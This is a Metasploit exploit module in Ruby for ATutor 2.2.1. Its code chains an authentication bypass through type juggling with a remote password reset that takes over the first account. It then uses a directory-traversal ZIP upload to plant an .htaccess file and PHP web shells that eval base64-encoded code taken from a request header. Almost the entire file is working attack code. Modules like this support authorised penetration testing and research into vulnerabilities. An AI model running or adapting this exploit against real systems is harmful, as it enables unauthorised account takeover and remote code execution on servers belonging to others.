341 lines
12 KiB
Ruby
341 lines
12 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'ATutor 2.2.1 Directory Traversal / Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP
|
|
setup with display_errors set to On, which can be used to allow us to upload a malicious
|
|
ZIP file. On the web application, a blacklist verification is performed before extraction,
|
|
however it is not sufficient to prevent exploitation.
|
|
|
|
You are required to login to the target to reach the vulnerability, however this can be
|
|
done as a student account and remote registration is enabled by default.
|
|
|
|
Just in case remote registration isn't enabled, this module uses 2 vulnerabilities
|
|
in order to bypass the authentication:
|
|
|
|
1. confirm.php Authentication Bypass Type Juggling vulnerability
|
|
2. password_reminder.php Remote Password Reset TOCTOU vulnerability
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'http://www.atutor.ca/' ], # Official Website
|
|
[ 'URL', 'http://sourceincite.com/research/src-2016-09/' ], # Type Juggling Advisory
|
|
[ 'URL', 'http://sourceincite.com/research/src-2016-10/' ], # TOCTOU Advisory
|
|
[ 'URL', 'http://sourceincite.com/research/src-2016-11/' ], # Directory Traversal Advisory
|
|
[ 'URL', 'https://github.com/atutor/ATutor/pull/107' ]
|
|
],
|
|
'Privileged' => false,
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true
|
|
},
|
|
'Platform' => ['php'],
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' => [[ 'Automatic', {}]],
|
|
'DisclosureDate' => '2016-03-01',
|
|
'DefaultTarget' => 0
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
|
|
OptString.new('USERNAME', [false, 'The username to authenticate as']),
|
|
OptString.new('PASSWORD', [false, 'The password to authenticate with'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def post_auth?
|
|
true
|
|
end
|
|
|
|
def print_status(msg = '')
|
|
super("#{peer} - #{msg}")
|
|
end
|
|
|
|
def print_error(msg = '')
|
|
super("#{peer} - #{msg}")
|
|
end
|
|
|
|
def print_good(msg = '')
|
|
super("#{peer} - #{msg}")
|
|
end
|
|
|
|
def check
|
|
# there is no real way to finger print the target so we just
|
|
# check if we can upload a zip and extract it into the web root...
|
|
# obviously not ideal, but if anyone knows better, feel free to change
|
|
unless datastore['USERNAME'] && datastore['PASSWORD']
|
|
# if we cant login, it may still be vuln
|
|
return Exploit::CheckCode::Unknown 'Check requires credentials. The target may still be vulnerable. If so, it may be possible to bypass authentication.'
|
|
end
|
|
|
|
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], check = true)
|
|
if !student_cookie.nil? && disclose_web_root
|
|
begin
|
|
if upload_shell(student_cookie, check = true) && found
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
rescue Msf::Exploit::Failed => e
|
|
vprint_error(e.message)
|
|
end
|
|
end
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
def create_zip_file(check = false)
|
|
zip_file = Rex::Zip::Archive.new
|
|
@header = Rex::Text.rand_text_alpha_upper(4)
|
|
@payload_name = Rex::Text.rand_text_alpha_lower(4)
|
|
@archive_name = Rex::Text.rand_text_alpha_lower(3)
|
|
@test_string = Rex::Text.rand_text_alpha_lower(8)
|
|
# we traverse back into the webroot mods/ directory (since it will be writable)
|
|
path = "../../../../../../../../../../../../..#{@webroot}mods/"
|
|
|
|
# we use this to give us the best chance of success. If a webserver has htaccess override enabled
|
|
# we will win. If not, we may still win because these file extensions are often registered as php
|
|
# with the webserver, thus allowing us remote code execution.
|
|
if check
|
|
zip_file.add_file("#{path}#{@payload_name}.txt", @test_string.to_s)
|
|
else
|
|
register_file_for_cleanup('.htaccess', "#{@payload_name}.pht", "#{@payload_name}.php4", "#{@payload_name}.phtml")
|
|
zip_file.add_file("#{path}.htaccess", 'AddType application/x-httpd-php .phtml .php4 .pht')
|
|
zip_file.add_file("#{path}#{@payload_name}.pht", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
|
|
zip_file.add_file("#{path}#{@payload_name}.php4", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
|
|
zip_file.add_file("#{path}#{@payload_name}.phtml", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
|
|
end
|
|
zip_file.pack
|
|
end
|
|
|
|
def found
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'mods', "#{@payload_name}.txt")
|
|
})
|
|
if res && (res.code == 200) && res.body =~ /#{@test_string}/
|
|
return true
|
|
end
|
|
|
|
return false
|
|
end
|
|
|
|
def disclose_web_root
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'jscripts', 'ATutor_js.php')
|
|
})
|
|
@webroot = '/'
|
|
@webroot << Regexp.last_match(1) if res && res.body =~ %r{\<b\>/(.*)jscripts/ATutor_js\.php\</b\> }
|
|
if @webroot != '/'
|
|
return true
|
|
end
|
|
|
|
return false
|
|
end
|
|
|
|
def call_php(ext)
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'mods', "#{@payload_name}.#{ext}"),
|
|
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
|
|
}, timeout = 0.1)
|
|
return res
|
|
end
|
|
|
|
def exec_code
|
|
res = call_php('pht')
|
|
unless res
|
|
res = call_php('phtml')
|
|
unless res
|
|
call_php('php4')
|
|
end
|
|
end
|
|
end
|
|
|
|
def upload_shell(cookie, check)
|
|
post_data = Rex::MIME::Message.new
|
|
post_data.add_part(create_zip_file(check), 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{@archive_name}.zip\"")
|
|
post_data.add_part(Rex::Text.rand_text_alpha_upper(4).to_s, nil, nil, 'form-data; name="submit_import"')
|
|
data = post_data.to_s
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'mods', '_standard', 'tests', 'question_import.php'),
|
|
'method' => 'POST',
|
|
'data' => data,
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
|
'cookie' => cookie,
|
|
'vars_get' => {
|
|
'h' => ''
|
|
}
|
|
})
|
|
if res && res.code == 302 && res.redirection.to_s.include?('question_db.php')
|
|
return true
|
|
end
|
|
|
|
# unknown failure...
|
|
fail_with(Failure::Unknown, 'Unable to upload php code')
|
|
return false
|
|
end
|
|
|
|
def find_user(cookie)
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'users', 'profile.php'),
|
|
'cookie' => cookie,
|
|
# we need to set the agent to the same value that was in type_juggle,
|
|
# since the bypassed session is linked to the user-agent. We can then
|
|
# use that session to leak the username
|
|
'agent' => ''
|
|
})
|
|
username = Regexp.last_match(1).to_s if res && res.body =~ %r{<span id="login">(.*)</span>}
|
|
if username
|
|
return username
|
|
end
|
|
|
|
# else we fail, because we dont know the username to login as
|
|
fail_with(Failure::Unknown, 'Unable to find the username!')
|
|
end
|
|
|
|
def type_juggle
|
|
# high padding, means higher success rate
|
|
# also, we use numbers, so we can count requests :p
|
|
for i in 1..8
|
|
for @number in ('0' * i..'9' * i)
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'confirm.php'),
|
|
'vars_post' => {
|
|
'auto_login' => '',
|
|
'code' => '0' # type juggling
|
|
},
|
|
'vars_get' => {
|
|
'e' => @number, # the bruteforce
|
|
'id' => '',
|
|
'm' => '',
|
|
# the default install script creates a member
|
|
# so we know for sure, that it will be 1
|
|
'member_id' => '1'
|
|
},
|
|
# need to set the agent, since we are creating x number of sessions
|
|
# and then using that session to get leak the username
|
|
'agent' => ''
|
|
}, redirect_depth = 0) # to validate a successful bypass
|
|
if res && (res.code == 302)
|
|
cookie = "ATutorID=#{Regexp.last_match(3)};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
|
|
return cookie
|
|
end
|
|
end
|
|
end
|
|
# if we finish the loop and have no sauce, we cant make pasta
|
|
fail_with(Failure::Unknown, 'Unable to exploit the type juggle and bypass authentication')
|
|
end
|
|
|
|
def reset_password
|
|
# this is due to line 79 of password_reminder.php
|
|
days = (Time.now.to_i / 60 / 60 / 24)
|
|
# make a semi strong password, we have to encourage security now :->
|
|
pass = Rex::Text.rand_text_alpha(32)
|
|
hash = Rex::Text.sha1(pass)
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'password_reminder.php'),
|
|
'vars_post' => {
|
|
'form_change' => 'true',
|
|
# the default install script creates a member
|
|
# so we know for sure, that it will be 1
|
|
'id' => '1',
|
|
'g' => days + 1, # needs to be > the number of days since epoch
|
|
'h' => '', # not even checked!
|
|
'form_password_hidden' => hash, # remotely reset the password
|
|
'submit' => 'Submit'
|
|
}
|
|
}, redirect_depth = 0) # to validate a successful bypass
|
|
|
|
if res && (res.code == 302)
|
|
return pass
|
|
end
|
|
|
|
# if we land here, the TOCTOU failed us
|
|
fail_with(Failure::Unknown, 'Unable to exploit the TOCTOU and reset the password')
|
|
end
|
|
|
|
def login(username, password, check = false)
|
|
hash = Rex::Text.sha1(Rex::Text.sha1(password))
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'login.php'),
|
|
'vars_post' => {
|
|
'form_password_hidden' => hash,
|
|
'form_login' => username,
|
|
'submit' => 'Login',
|
|
'token' => ''
|
|
}
|
|
})
|
|
# poor php developer practices
|
|
cookie = "ATutorID=#{Regexp.last_match(4)};" if res && res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
|
|
if res && res.code == 302
|
|
if res.redirection.to_s.include?('bounce.php?course=0')
|
|
return cookie
|
|
end
|
|
end
|
|
# auth failed if we land here, bail
|
|
unless check
|
|
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
|
|
end
|
|
return nil
|
|
end
|
|
|
|
def exploit
|
|
# login if needed
|
|
if datastore['USERNAME'] && datastore['PASSWORD']
|
|
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
|
|
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
|
|
print_good("Logged in as #{datastore['USERNAME']}")
|
|
# else, we reset the students password via a type juggle vulnerability
|
|
else
|
|
print_status('Account details are not set, bypassing authentication...')
|
|
print_status('Triggering type juggle attack...')
|
|
student_cookie = type_juggle
|
|
print_good("Successfully bypassed the authentication in #{@number} requests !")
|
|
username = find_user(student_cookie)
|
|
print_good("Found the username: #{username} !")
|
|
password = reset_password
|
|
print_good("Successfully reset the #{username}'s account password to #{password} !")
|
|
report_cred(user: username, password: password)
|
|
student_cookie = login(username, password)
|
|
print_good("Logged in as #{username}")
|
|
end
|
|
|
|
if disclose_web_root
|
|
print_good('Found the webroot')
|
|
# we got everything. Now onto pwnage
|
|
if upload_shell(student_cookie, false)
|
|
print_good('Zip upload successful !')
|
|
exec_code
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
def service_details
|
|
super.merge({ post_reference_name: refname })
|
|
end
|